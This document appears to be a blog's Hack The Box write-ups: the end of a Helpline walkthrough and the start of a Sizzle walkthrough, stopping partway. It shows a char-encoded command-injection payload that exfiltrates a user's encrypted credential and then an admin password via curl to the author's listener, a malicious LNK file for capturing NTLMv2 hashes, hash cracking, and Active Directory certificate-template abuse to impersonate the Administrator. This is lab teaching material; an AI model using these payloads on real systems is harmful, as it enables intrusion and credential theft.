psexec \\helpline -user helpline\tolu -p !zaq1234567890pl!99 cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals -

Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Windows\system32>cd \users\tolu

C:\Users\tolu>cd desktop

C:\Users\tolu\Desktop>type user.txt

Appendix 2: Simulating the Administrator – brief summary [>> Contents]

Helpline has a drive E: – and I had totally it missed this until I had created my own local test admin and checked out the shares with smbclient!

smbclient -L // -U test1421
Enter WORKGROUP\test1421's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	E$              Disk      Default share
	Helpdesk_Stats  Disk      
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available

Accessing SMB shares locally seems to allows for circumventing UAC – a trick I noticed while rooting the previous HTB box, Arkham. So I look at the files on \\helpline\E locally on the box – using either my test admin’s psexec shell, or using a WinRM session after I have addes the user also to the group Remote Management Users.

There is an interesting backup script that allows to inject input, because you can supply a list of file names in E:\Scripts\Processing\backups.txt. The author of the script is leo according to a comment, and he tried to sanitze the ‘injected’ filenames. Many interesting characters for command injection are blocked, but not the following: [ ] + |.

type '\\helpline\e$\scripts\SDP_Checks.ps1'
# script to check ServiceDesk Plus status, and restore backup from secure folder if needed
# please report any issues - leo

cd E:\Scripts

Remove-Item E:\Scripts\output.txt
Get-Date | Add-Content E:\Scripts\output.txt

# check port is listening

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check if listening on 8080"

netstat -ano | Select-String "8080" | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# check API

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check API status"

Invoke-RestMethod -Uri http://helpline:8080/sdpapi/request/1/ -Method Post -Body @{OPERATION_NAME='GET_REQUEST';TECHNICIAN_KEY='CDDBD0A5-5D71-48DE-8FF7-CB9751F0FE7C';} | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# check service status

Add-Content E:\Scripts\output.txt ""
Add-Content E:\Scripts\output.txt "Check servicedesk service status"

Get-Service servicedesk | Out-File E:\Scripts\output.txt -Append -Encoding ASCII

# restore ServiceDesk data from secure backup folder if required
# put name of folder in backups.txt to retrieve it, e.g. backup_postgres_9309_fullbackup_mon

if (Test-Path E:\Scripts\backups.txt) {

    Copy-Item E:\Scripts\backups.txt E:\Scripts\Processing\backups.txt

    # sanitize user input

    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "exe","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "msi","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "ps1","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "cmd","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "bat","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "dll","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace " ","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "&","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "{","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "}","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "/","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\\","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace """","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\'","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\(","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\)","" > E:\Scripts\Processing\backups.txt
    $file = Get-Content E:\Scripts\Processing\backups.txt
    $file -replace "\.","" > E:\Scripts\Processing\backups.txt

    ForEach ($backup in Get-Content "E:\Scripts\Processing\backups.txt")
      $Command = "echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\$backup"
      Invoke-Expression $Command

    Remove-Item E:\Scripts\backups.txt
    Remove-Item E:\Scripts\Processing\backups.txt

Before I attempt to get a reverse shell, I check out leo’s files over SMB locally. Of course, there is another EFS-encrypted file, and it sounds juicy:


My plan is to use the injection into the backup job to read that file – or at least this will be a test to check if / how often I will see leo calling back over my usual curl RCE. I obfuscate my commands by ‘encoding’ each character using [char], then add |powershell so that it will run when evaluated.

Here is my Python script to prepare 1) the input file backups.txt and 2) the command that will echo out the file backups.txt.

cmd = 'curl -method POST -body $(whoami; type C:\Users\leo\Desktop\\admin-pass.xml)'
chars_enc = []
for c in cmd:
    print c
    c_enc = '[char]0x'+c.encode('hex')
    print c_enc
    chars_enc += [ c_enc ]

cmd_enc = '+'.join(chars_enc)

echo = '"notexists.txt;' + cmd_enc + '|powershell" | Out-File backups.txt'

print '==================================================================='
print echo
"notexists.txt;[char]0x63+[char]0x75+[char]0x72+[char]0x6c+[char]0x20+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x34+[char]0x2e+[char]0x32+[char]0x31+[char]0x2f+[char]0x74+[char]0x65+[char]0x73+[char]0x74+[char]0x20+[char]0x2d+[char]0x6d+[char]0x65+[char]0x74+[char]0x68+[char]0x6f+[char]0x64+[char]0x20+[char]0x50+[char]0x4f+[char]0x53+[char]0x54+[char]0x20+[char]0x2d+[char]0x62+[char]0x6f+[char]0x64+[char]0x79+[char]0x20+[char]0x24+[char]0x28+[char]0x77+[char]0x68+[char]0x6f+[char]0x61+[char]0x6d+[char]0x69+[char]0x3b+[char]0x20+[char]0x74+[char]0x79+[char]0x70+[char]0x65+[char]0x20+[char]0x43+[char]0x3a+[char]0x5c+[char]0x55+[char]0x73+[char]0x65+[char]0x72+[char]0x73+[char]0x5c+[char]0x6c+[char]0x65+[char]0x6f+[char]0x5c+[char]0x44+[char]0x65+[char]0x73+[char]0x6b+[char]0x74+[char]0x6f+[char]0x70+[char]0x5c+[char]0x61+[char]0x64+[char]0x6d+[char]0x69+[char]0x6e+[char]0x2d+[char]0x70+[char]0x61+[char]0x73+[char]0x73+[char]0x2e+[char]0x78+[char]0x6d+[char]0x6c+[char]0x29|powershell" | Out-File backups.txt

When the backup job runs, Powershell will invoke a command from the file name, like

echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\notexists.txt;[char]0x63+[char]0x75+[char]0x72+...+[char]0x29|powershell" | Out-File backups.txt

After a brief time (~1 minute) leo calls back!

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 80 ...
nc: connect to 80 from helpline ( 51774 [51774]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Content-Length: 537
Expect: 100-continue
Connection: Keep-Alive

helpline\leo 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa

This looks like a Powershell secure string, so only leo on Helpline can decrypt it. Again, I use only the RCE: Letting leo extract the plain text password from the string and send it to me. I am [char]-encoding this whole command, create a huge filename and echo it into backups.txt as before:

$username = "administrator"; $securePwd = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa" | ConvertTo-SecureString; $credObject = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $securePwd; $pw = $credObject.GetNetworkCredential().Password; curl -method POST -body $pw

Again, leo calls back with … a password! \o/

nc -lvp 80
nc: listening on :: 80 ...
nc: listening on 80 ...
nc: connect to 80 from helpline ( 51806 [51806]
POST /test HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Expect: 100-continue
Connection: Keep-Alive


Finally I start a psexec shell as the Administrator on Windows and read the flag:

psexec \\helpline -user helpline\Administrator -p mb@letmein@SERVER#acc cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals -

Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Windows\system32>cd C:\Users\administrator

C:\Users\Administrator>cd Desktop

 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\Administrator\Desktop

01/02/2019  11:43 PM              .
01/02/2019  11:43 PM              ..
12/21/2018  12:09 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)   5,469,110,272 bytes free

C:\Users\Administrator\Desktop>type root.txt

Sizzle @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!

My writeup – how to pwn my favorite box on, using a (supposedly) unintended path. Sizzle – created by @mrb3n813 and @lkys37en – was the first box on HTB that had my favorite Windows Server Role – the Windows Public Key Infrastructure / Certification Authority.

This CA allows the low-privileged user – amanda – to issue herself a client authentication certificate, which you then used to start a remote management session with Powershell.

To root Sizzle the (supposedly) intended way, you ‘sizzled’ another the user (Kerberoasting), and then abused one special permission granted to him to use DCSync for stealing the Administrator’s hash. Pass-the-hash gives you an admin shell.

But a loophole in the configuration of the PKI lets you go from amanda to root directly.

Summary – tl;dr: amanda can edit the templates for certificates, and add the Extended Key Usages required for Smartcard Logon. Submitting a certificate request with the Administrator’s name(s) to the CA gives you a credential to impersonate the admin. Importing certificate and key onto a physical card or crypto token lets you use command line tools with the option /smartcard. In order to make these tools work you need to join a Windows box to sizzle’s domain and set up your fake DNS server with service records for this domain.


Initial Enumeration: Spotting the Windows PKI!
Confirming a theory about client certificates, and playing with revocation lists.
Enumerating domain users over Kerberos UDP.
Writing a LNK file to the share, and sniffing amanda’s hash.
Enrolling a client certificate for amanda and starting a PS Session.
Background. The UPN risk. Discovering the misconfiguration of certificate templates.
Considering potential attack vectors: Software certificates versus hardware logon tokens.
Getting a meterpreter shell and routing traffic through it.
Preparing a Certificate Signing Request on behalf of the Administrator.
Editing templates and first attempt of attack setup: msf on Windows!
Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down.
Creating a hardware logon token for impersonating the Administrator
Proxies, fake DNS, and forwarding ports once more with proxychains socat
Joining a Windows client to the htb.local domain
Summary of the solution so far
Finally: Using the Administrator’s token!
Creating a (not really stealthy) backdoor admin

Initial Enumeration: Spotting the Windows PKI!    [>> Contents]

The portscan reveals many open ports – which tells that Sizzle is a Windows Domain Controller of a domain called htb.local. However Kerberos TCP 88 is missing – and this will come to haunt us later :-)

21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +24s from scanner time.
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
52562/tcp open  msrpc         Microsoft Windows RPC
52582/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 23s, deviation: 0s, median: 22s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2019-01-13 17:09:41
|_  start_date: 2019-01-12 20:01:42

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 179.39 seconds

The webserver on port 80 only shows an image of sizzling bacon, but port 443 and the TLS Certificate immediately has my attention: This CRL (Certificate Revocation List) Distribution Point extension is the tell-tale sign of an Active-Directory Integrated Windows PKI – it points to an object in the configuration container of AD:

There is also an FTP server to which we can logon anonymously – but it does not hold any files nor can we put files. I have spent a while to write a python tool to fuzz other FTP folders!

I can enumerate the SMB shares some non-default SMB with smbclient:

smbclient -L // -N

       Sharename       Type      Comment
       ---------       ----      -------
       ADMIN$          Disk      Remote Admin
       C$              Disk      Default share
       CertEnroll      Disk      Active Directory Certificate Services share
       Department Shares Disk     
       IPC$            IPC       Remote IPC
       NETLOGON        Disk      Logon server share
       Operations      Disk     
       SYSVOL          Disk      Logon server share

Again, there is the signature Windows PKI share – the CertEnroll share, for downloading the CA certificate and revocation lists. The comment gives away the exact name of the server role: Active Directory Certificate Services.

Confirming a theory about client certificates, and playing with revocation lists. [>> Contents]

The Windows Certificate CA as an optional web interface – a simple ASP web application – to be found at /certsrv. Accessing it with the browser confirms that it is installed, but as expected (default config) it cannot be accessed anonymously.

So I need credentials of a Windows domain user – then I would be able to enroll for a client certificate. The Windows web server IIS allows for either 1:1 manual mapping of individual certificates or for Active-Directory-based mapping of certificates via matching the User Principal Name in the certificate – to a user with the same UPN in AD. This will also become important later, for the unintended method.

I want to confirm that I will be able to use a client certificate for something. What web applications are there? Ports 5986 and 5985 stick out – the default ports for WinRM – Windows Remote Management Service.

In order to test WinRM, I forward the relevant ports from Kali Linux to a Windows box:

socat TCP-LISTEN:5985,fork TCP: &
socat TCP-LISTEN:5986,fork TCP: &

If I  want to use client certificates, I better also get the validation of the server certificate right first. So I add the host name sizzle.htb.local to the hosts file on Windows, with the IP address of my Kali box, then I need the CA certificate(s).

I downloaded the CA certficate by ‘guessing’ the default HTTP download path a Windows CA uses. This is the Issuer Name as displayed in the TLS server certificate


… so the default HTTP Path to a Windows CA certificate is:


This URL can, as an option, be added to the certificate extension AIA – Authority Information Access – of issued certficates. Sizzle does not use that, but only has LDAP AIA URLs, so you don’t see the URL in the TLS server certificate. The web URL works nonetheless.

It is a self-signed certificate, so there is only ‘one level’ in this PKI, and I import the certificate to Trusted Root Certificatíon Authorities cert store on Windows with certmgr.msc. A test of the certificate chain with …

certutil -verify sizzle.htb.local

… fail with a revocation error as expected. The ‘serverless’ LDAP:/// URL pointing to the CRL objects is not available for two reasons: You do not find the actual LDAP server (yet), and you cannot access Active Directory anonymously.

But the CRL file is also there at the default ‘guessed’ URL – the file name being equal to the Common Name on the CA’s certificate:


Certificate revocation still fails after importing that file, because the Sizzle CA also uses the default Delta CRLs. The Base CRL hints at the existence of an ‘incremental’ Delta CRL via the extension Freshest CRL:

The Delta CRL is also available at the default HTTP URL:


Both CRL files can be imported on the Windows box I want to use for the PSSession, using certutil or certmgr.msc:

So we are finally ready for the ‘expected error message’, trying to start an unauthenticated session with:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL

… and we indeed learn we should indeed use ClientCerts \o/

If youI got tired of playing with CRLs (to be re-imported every few days) you can also skip the revocation check directly in Powershell:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocationcheck)

Enumerating domain users over Kerberos UDP. [>> Contents]

I consider brute-forcing the password for a user, and I need to confirm which users actually existed. I mount all SMB shares I can, incl. the share Department  Shares

mount.cifs '//sizzle/Department Shares' smbfs

Contents of smfs

 Accounting      Devops    Infrastructure   Marketing   Tax
 Audit           Finance   IT              'R&D'        Users
 Banking         HR        Legal            Sales       ZZ_ARCHIVE
 CEO_protected   Infosec  'M&A'             Security

The  folder Users contains a bunch of sub-folders:

amanda      bill  chris  joe   lkys37en  mrb3n
amanda_adm  bob   henry  jose  morgan    Public

… from whose names and a bunch of default names (as Administrator or guest) I create a list of potential users – users.txt:


nmap has a script for enumerating users over Kerberos UDP 88. This port is accessible externally, in contrast to TCP 88:

nmap -sU -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=users.txt -vvv

I can confirm that guest, amanda and Administrator do exist

88/udp open|filtered kerberos-sec no-response
| krb5-enum-users:
| Discovered Kerberos principals
|     administrator@htb.local
|     amanda@htb.local
|_    guest@htb.local

However, I was not able to brute-force amanda’s password in a reasonable time. I think hydra cannot do a NTLM logon, but only Basic Authentication. But the trace of an attempt to logon via the browser shows the NTLM logon:

Writing a LNK file to the share, and sniffing amanda’s hash. [>> Contents]

Having tried to also brute-force the logon over SMB unsuccessfully( with hydra and the metasploit module smb_login) I inspect poke around the shares again. Finally, I realize that I can write to the folder /Users/Public in the share Department Shares.

What if somebody – a simulated amanda user hopefully – would ‘look’ at files I write periodically? So I re-use part of what I have done on the box Ethereal, and create a ‘malicious’ shortcut file – a link pointing to my own box.

I used the powershell commands provided in in this article to create a simple LNK file:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("test.lnk")
$lnk.TargetPath = "\\\share"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Hi there"
$lnk.HotKey = "Ctrl+Alt+O"

I started responder on Kali as my fake file file server with

responder -wrf -v -I tun0

… then copy by test.lnk to the folder /Users/Public, and immediately get a callback. I can collect lots of hashes, like this one:

[SMBv2] NTLMv2-SSP Client   :
[SMBv2] NTLMv2-SSP Username : HTB\amanda
[SMBv2] NTLMv2-SSP Hash     : amanda::HTB:0ca7982a6e25e95b:4281E64C70D54C315DD06861D421C2D5:0101000000000000C0653150DE09D2013E33784022E5E1CD000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000000A1A989A69067922647E05D8B94A1515425B93A3DFC90D4731FD9EBAD8C7C05F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003900000000000000000000000000

The hash can be cracked quickly with hashcat. Checking the list of example hashes shows that we need hash type 5600 for cracking NTLMv2 hashes:

hashcat64.exe -m 5600 _hashes\sizzle-amanda.txt _wordlists\rockyou.txt

Now I have amanda’s password:


Enrolling a client certificate for amanda and starting a PS Session. [>> Contents]

I can finally logon to the /certsrv web application as amanda. This website lets you either use a certificate signing request you generated with any tool – like openssl or certreq on Windows. You could also let the web site trigger the key generation for you. I wanted the certificate as quickly as possible, so I picked the latter method (I am going to show the file-based method in the part about the unintended way).

Socat-ing port 443 to the Windows box, and started Internet Explorer, entering the user HTB\amanda and password …

Click on Request a certificate shows the page with the two options:

Advanced certificate request refers to either sending a pre-created CSR or to changing certificate attributes. I pick User Certificate which is for doing a next-next-finish key generation and request submission, pulling all needed attributes from Active Directory:

Clicking Submit may result in error if this server had not been added to the Intranet Zone in IE Security settings. After fixing that, I get the ActiveX popup – now a key is generated in my personal certificate store and the request sent to the Sizzle CA:

OK … waiting for the response … and one more ActiveX popup:

Finally the certificate is ‘installed‘, that is imported to the personal store and re-united with its key. (Save response give you the option to also save the BASE64-encoded certificate.)

The certificate is now visible under Personal Certificate in certmgr.msc or can be checked with certutil:

certutil -store -user my

Relevant part of the output :

================ Certificate 8 ================
Serial Number: 6900000016942f3e8913c6b5ec000000000016
 NotBefore: 17.01.2019 17:38
 NotAfter: 17.01.2020 17:38
Subject: CN=amanda, CN=Users, DC=HTB, DC=LOCAL
Certificate Template Name (Certificate Type): User
Non-root Certificate
Template: User
Cert Hash(sha1): 04b832d04ec8ae222aa24a80ac064f481d2abc15
  Key Container = {FD89D358-0EA3-49C9-B102-48EFB2C24D5F}
  Unique container name: 1d1f0d178a2e6518c18d17f5d6e8e881_daa0af9e-c489-45ac-9159-1f80602318c7
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -store command completed successfully.

The verbose output of certutil

certutil -v -store -user my 04b832d04ec8ae222aa24a80ac064f481d2abc15

… shows (among many other extensions) that this a multi-purpose certificate for Client Authentication, E-Mail, and Encrypting File System. It also contains amanda’s User Principal Name which maps the certificate to a user for logon purposes:

... Flags = 0, Length = 22
Enhanced Key Usage
Encrypting File System (
Secure Email (
Client Authentication ( Flags = 0, Length = 24
Subject Alternative Name
Other Name:
Principal Name=amanda@HTB.LOCAL

The sha1 hash is used in the PS command to refer to that certificate, and finally we can logon as amanda!

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15

… or if my imported CRLs have been expired, using:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocat
ioncheck) -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15

And I am amanda! \o/

[sizzle.htb.local]: PS C:\Users\amanda\Documents>

The good thing about all certificate created for accessing sizzle: They will also remain valid when the box is reset! The DC validates the certicate path, attributes, dates, and revocation status, but the CA does not check if the certificate is in its database!

Background. The UPN risk. Discovering the misconfiguration of certificate templates. [>> Contents]

Certificate templates are LDAP objects whose attributes define how future certificates created from this templates will look like, and who can enroll for these templates. If you can edit all properties of a certificate template or create a new one, you can become whoever you want in a Windows AD forest:

If AD-based mapping is enabled in applications using certificates for logon, User Principal Names in certificates are automatically mapped to the AD user with the corresponding userPrincipalName attribute of the user’s LDAP object. So mapping is based on a string ‘only’. Why is that secure? Because any application using AD for logon also checks if the CA’s certificate has been imported into a special object in the PKI Services container (NTAuth). This object can per Default be only managed by Enterprise Admins – and so can certificate templates!

The following templates are available for amanda at (‘published to’) the Sizzle CA, as the dropdown menu in the certsrv application (advanced options, file-based request) shows: I do not want to mess up other hackers’ certificate requests – I focus on the template for the server – SSL – assuming that anybody will try to use templates related to User…. So I check out the permissions on certificates with

certutil -v -dstemplate

That command also runs in the constrained powershell shell. It results in a super detailed list of all attributes of all templates in AD! This is the start of the output for the SSL template – and *yikes*:

Authenticated Users, that is every user and every computer account in the forest(!) are able to change that template!

    objectClass = "top", "pKICertificateTemplate"
    cn = "SSL"
    distinguishedName = "CN=SSL,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL"
    instanceType = "4"
    whenCreated = "20180703180611.0Z" 7/3/2018 1:06 PM
    whenChanged = "20180703180645.0Z" 7/3/2018 1:06 PM

    displayName = "SSL"
    uSNCreated = "16440" 0x4038
    uSNChanged = "16445" 0x403d
    showInAdvancedViewOnly = "TRUE"

    Allow Full Control    HTB\Domain Administrators
    Allow Full Control    HTB\Enterprise Admins
    Allow Full Control    HTB\Administrator
    Allow Full Control    NT AUTHORITY\Authenticated Users

So far, this template is only for Server Authentication, but it already has a desired property: Names can be sent in the request, as you would expect for a server certificate:

    name = "SSL"
    objectGUID = "50e0c82d-3a98-4bab-98a0-a8cf58e27c86"
    flags = "131649" 0x20241
      (CT_FLAG_ADD_EMAIL -- 2)
      (CT_FLAG_ADD_OBJ_GUID -- 4)
      (CT_FLAG_PUBLISH_TO_DS -- 8)
      (CT_FLAG_EXPORTABLE_KEY -- 10 (16))
      (CT_FLAG_AUTO_ENROLLMENT -- 20 (32))
    CT_FLAG_MACHINE_TYPE -- 40 (64)
      (CT_FLAG_IS_CA -- 80 (128))
      (CT_FLAG_ADD_DIRECTORY_PATH -- 100 (256))
    CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
      (CT_FLAG_IS_CROSS_CA -- 800 (2048))
      (CT_FLAG_DONOTPERSISTINDB -- 1000 (4096))
      (CT_FLAG_IS_DEFAULT -- 10000 (65536))
    CT_FLAG_IS_MODIFIED -- 20000 (131072)
      (CT_FLAG_IS_DELETED -- 40000 (262144))
      (CT_FLAG_POLICY_MISMATCH -- 80000 (524288))

If we only had the User template, we’d be required to this flag to allow the ‘enrollee’ to supply a name. Then amanda can add any UPN of her liking to a logon certificate, like Administrator@HTB.LOCAL, and the CA will accept it.

The Extended Key Usage will need amendment:

    pKIExtendedKeyUsage = "" Server Authentication

Considering potential attack vectors: Software certificates versus hardware logon tokens. [>> Contents]

This  could be potentially abused in two ways:

Issue a (software-based) client authentication certificate in the Administrator’s name and use that to enter a PSSession as the admin. It requires to add the UPN and to include the EKU Client Authentication – as Powershell checks for that. Spoiler: Certificate issuance does work, but the logon finally does not. Domain Admins are not allowed to use WinRM.

Issue a (software-based) certification also including the Extended Key Usage called Smart Card Logon. Then use windows cmd line tools that have the option /smartcard. Candidate commands are:

net use \\sizzle.htb.local\c$ /smartcard

runas /smartcard cmd

The latter should require – or is at least much easier and straight-forward when you have – a client joined to sizzle’s domain! But that is something that should work for a low-privileged user. Years ago I used to renew a (legit ;-)) smartcard as a member of domain whose network I hardly every entered: I regularly joined a test box to this domain over VPN – so I am determined to join a box to HTB.LOCAL now!

But in order to join a box to the domain, logon, or also to edit template using the Certificate Templates Management console, I needed access to  all the ports!

Getting a meterpreter shell and routing traffic through it. [>> Contents]

The powershell shell is limited, as a test of the language mode shows:

